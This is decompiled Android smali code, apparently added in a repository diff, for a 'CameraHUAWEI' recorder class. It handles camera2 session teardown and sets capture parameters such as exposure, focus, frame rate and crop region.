iput v1, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->ss:I
.line 192
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->SENSOR_FRAME_DURATION:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v1
check-cast v1, Ljava/lang/Long;
iput-object v1, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->sfd:Ljava/lang/Long;
.line 193
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v2, Landroid/hardware/camera2/CaptureRequest;->SENSOR_EXPOSURE_TIME:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v1
check-cast v1, Ljava/lang/Long;
iput-object v1, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->set:Ljava/lang/Long;
:try_end_1
.catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_1
goto :goto_1
:catch_1
move-exception v0
.line 195
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 198
:goto_1
:try_start_2
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->mCamera:Landroid/hardware/camera2/CameraDevice;
invoke-virtual {v0}, Landroid/hardware/camera2/CameraDevice;->close()V
:try_end_2
.catch Ljava/lang/Exception; {:try_start_2 .. :try_end_2} :catch_2
goto :goto_2
:catch_2
move-exception v0
.line 200
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 203
:goto_2
:try_start_3
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->mMediaCodec:Landroid/media/MediaCodec;
if-eqz v0, :cond_1
.line 204
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->mMediaCodec:Landroid/media/MediaCodec;
invoke-virtual {v0}, Landroid/media/MediaCodec;->stop()V
.line 205
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->mMediaCodec:Landroid/media/MediaCodec;
invoke-virtual {v0}, Landroid/media/MediaCodec;->release()V
:try_end_3
.catch Ljava/lang/Exception; {:try_start_3 .. :try_end_3} :catch_3
goto :goto_3
:catch_3
move-exception v0
.line 209
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
:cond_1
:goto_3
const/4 v0, 0x0
.line 212
:try_start_4
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
invoke-static {v1}, Lcom/nvav/srv/recorder/CameraHUAWEI;->access$000(Lcom/nvav/srv/recorder/CameraHUAWEI;)Landroid/view/Surface;
move-result-object v1
if-eqz v1, :cond_2
.line 213
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
invoke-static {v1}, Lcom/nvav/srv/recorder/CameraHUAWEI;->access$000(Lcom/nvav/srv/recorder/CameraHUAWEI;)Landroid/view/Surface;
move-result-object v1
invoke-virtual {v1}, Landroid/view/Surface;->release()V
.line 214
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
invoke-static {v1, v0}, Lcom/nvav/srv/recorder/CameraHUAWEI;->access$002(Lcom/nvav/srv/recorder/CameraHUAWEI;Landroid/view/Surface;)Landroid/view/Surface;
:try_end_4
.catch Ljava/lang/Exception; {:try_start_4 .. :try_end_4} :catch_4
goto :goto_4
:catch_4
move-exception v1
.line 217
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v2, v1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 220
:cond_2
:goto_4
:try_start_5
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mOutputSurfaces:Ljava/util/List;
invoke-interface {v1}, Ljava/util/List;->clear()V
.line 221
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iput-object v0, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mOutputSurfaces:Ljava/util/List;
:try_end_5
.catch Ljava/lang/Exception; {:try_start_5 .. :try_end_5} :catch_5
goto :goto_5
:catch_5
move-exception v1
.line 223
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v2, v1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 225
:goto_5
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iput-object v0, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mMediaCodec:Landroid/media/MediaCodec;
.line 226
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iput-object v0, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mCamera:Landroid/hardware/camera2/CameraDevice;
.line 228
:try_start_6
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
invoke-static {v1}, Lcom/nvav/srv/recorder/CameraHUAWEI;->access$000(Lcom/nvav/srv/recorder/CameraHUAWEI;)Landroid/view/Surface;
move-result-object v1
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->removeTarget(Landroid/view/Surface;)V
:try_end_6
.catch Ljava/lang/Exception; {:try_start_6 .. :try_end_6} :catch_6
goto :goto_6
:catch_6
move-exception v0
.line 230
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
:goto_6
const-wide/16 v0, 0x2ee
.line 233
:try_start_7
invoke-static {v0, v1}, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->sleep(J)V
:try_end_7
.catch Ljava/lang/Exception; {:try_start_7 .. :try_end_7} :catch_7
goto :goto_7
:catch_7
move-exception v0
.line 235
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 238
:goto_7
:try_start_8
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->mThread:Landroid/os/HandlerThread;
invoke-virtual {v0}, Landroid/os/HandlerThread;->interrupt()V
.line 239
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->mThread2:Landroid/os/HandlerThread;
invoke-virtual {v0}, Landroid/os/HandlerThread;->interrupt()V
.line 240
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->mThread3:Landroid/os/HandlerThread;
invoke-virtual {v0}, Landroid/os/HandlerThread;->interrupt()V
:try_end_8
.catch Ljava/lang/Exception; {:try_start_8 .. :try_end_8} :catch_8
goto :goto_8
:catch_8
move-exception v0
.line 242
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 244
:goto_8
sget-boolean v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->Restarting:Z
if-eqz v0, :cond_3
.line 246
:try_start_9
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
invoke-virtual {v0}, Lcom/nvav/srv/recorder/CameraHUAWEI;->StartRestart()V
:try_end_9
.catch Ljava/lang/Exception; {:try_start_9 .. :try_end_9} :catch_9
goto :goto_9
:catch_9
move-exception v0
.line 248
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
:cond_3
:goto_9
return-void
.end method

View File

@@ -0,0 +1,461 @@
.class Lcom/nvav/srv/recorder/CameraHUAWEI$2;
.super Landroid/hardware/camera2/CameraCaptureSession$StateCallback;
.source "CameraHUAWEI.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lcom/nvav/srv/recorder/CameraHUAWEI;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/CameraHUAWEI;)V
.locals 0
.line 148
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
invoke-direct {p0}, Landroid/hardware/camera2/CameraCaptureSession$StateCallback;-><init>()V
return-void
.end method
# virtual methods
.method public onActive(Landroid/hardware/camera2/CameraCaptureSession;)V
.locals 2
.line 273
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v0
invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
move-result-object p1
filled-new-array {p1}, [Ljava/lang/Object;
move-result-object p1
const-string v0, "time %d"
invoke-static {v0, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object p1
const-string v0, "CameraCaptureSession ac"
invoke-static {v0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
return-void
.end method
.method public onClosed(Landroid/hardware/camera2/CameraCaptureSession;)V
.locals 0
return-void
.end method
.method public onConfigureFailed(Landroid/hardware/camera2/CameraCaptureSession;)V
.locals 0
return-void
.end method
.method public onConfigured(Landroid/hardware/camera2/CameraCaptureSession;)V
.locals 5
.line 152
:try_start_0
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraHUAWEI;->access$102(Lcom/nvav/srv/recorder/CameraHUAWEI;Landroid/hardware/camera2/CameraCaptureSession;)Landroid/hardware/camera2/CameraCaptureSession;
.line 153
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mCamera:Landroid/hardware/camera2/CameraDevice;
const/4 v1, 0x3
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CameraDevice;->createCaptureRequest(I)Landroid/hardware/camera2/CaptureRequest$Builder;
move-result-object v0
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
.line 154
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraHUAWEI;->access$000(Lcom/nvav/srv/recorder/CameraHUAWEI;)Landroid/view/Surface;
move-result-object v0
invoke-virtual {p1, v0}, Landroid/hardware/camera2/CaptureRequest$Builder;->addTarget(Landroid/view/Surface;)V
.line 155
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_TARGET_FPS_RANGE:Landroid/hardware/camera2/CaptureRequest$Key;
new-instance v1, Landroid/util/Range;
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraHUAWEI;->CamResFPS:[Ljava/lang/String;
const/4 v3, 0x4
aget-object v2, v2, v3
invoke-static {v2}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v2
invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v2
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v3, v3, Lcom/nvav/srv/recorder/CameraHUAWEI;->CamResFPS:[Ljava/lang/String;
const/4 v4, 0x5
aget-object v3, v3, v4
invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v3
invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v3
invoke-direct {v1, v2, v3}, Landroid/util/Range;-><init>(Ljava/lang/Comparable;Ljava/lang/Comparable;)V
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 156
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
invoke-static {p1}, Lcom/nvav/srv/recorder/CameraHUAWEI;->access$200(Lcom/nvav/srv/recorder/CameraHUAWEI;)V
.line 157
sget-boolean p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->Restarting:Z
if-eqz p1, :cond_0
.line 158
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SCALER_CROP_REGION:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->rect:Landroid/graphics/Rect;
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 159
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_EXPOSURE_COMPENSATION:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->aec:I
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 160
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_EFFECT_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->cem:I
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 161
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_REGIONS:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->cafr:[Landroid/hardware/camera2/params/MeteringRectangle;
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 162
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SENSOR_SENSITIVITY:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->ss:I
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 163
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SENSOR_FRAME_DURATION:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->sfd:Ljava/lang/Long;
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 164
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SENSOR_EXPOSURE_TIME:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->set:Ljava/lang/Long;
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 165
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->cafm:I
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 166
